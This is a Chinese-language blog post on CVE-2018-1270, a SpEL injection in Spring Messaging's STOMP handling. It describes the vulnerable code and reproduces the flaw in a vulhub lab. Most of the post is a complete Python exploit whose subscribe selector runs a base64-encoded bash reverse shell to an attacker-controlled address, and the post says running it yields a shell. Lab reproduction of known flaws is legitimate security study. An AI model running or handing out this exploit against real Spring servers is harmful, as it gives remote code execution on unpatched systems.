spring常见漏洞（4）

CVE-2018-1270

Spring Messaging 命令执行漏洞(CVE-2018-1270)，Spring框架中的?spring-messaging?模块提供了一种基于WebSocket的STOMP协议实现，STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞，攻击者可以通过构造恶意的消息来实现远程代码执行。

影响版本

Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15

漏洞分析

由expression，getValue，setValue造成的代码执行，造成这种命令执行是由Spring的SPEL表达式造成的

SPEL命令执行有两种方式，一是静态方法，二是new 对象

再看一下spring-boot-messaging实现中的代码

Expression expression = sub.getSelectorExpression();
if (expression == null) {
    result.add(sessionId, subId);
} else {
    if (context == null) {
        context = new StandardEvaluationContext(message);
        context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
    }

    try {
        if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
            result.add(sessionId, subId);
        }
    } catch (SpelEvaluationException var13) {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
        }
    } catch (Throwable var14) {
        this.logger.debug("Failed to evaluate selector", var14);
    }
}

?

那么一是可以利用sub.getSelectorExpression()得到selector的表达式，二是利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))获取表达式的值，从而造成命令执行

漏洞复现

进入CVE-2018-1270的docker漏洞环境

访问http://192.168.1.10:8080/gs-guide-websocket

这里直接使用前辈们写好的exp，注意修改一下bash命令和靶机地址即可

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
 
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))
 
 
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)
 
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
     
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']
 
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
         
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
 
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")
 
    def __del__(self):
        self.session.close()
 
 
sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
 
sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})
 
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

?首先还是bash编码

修改exp中的靶机ip和反弹命令

sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')

sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",

?如图所示

运行poc.py即可得到反弹shell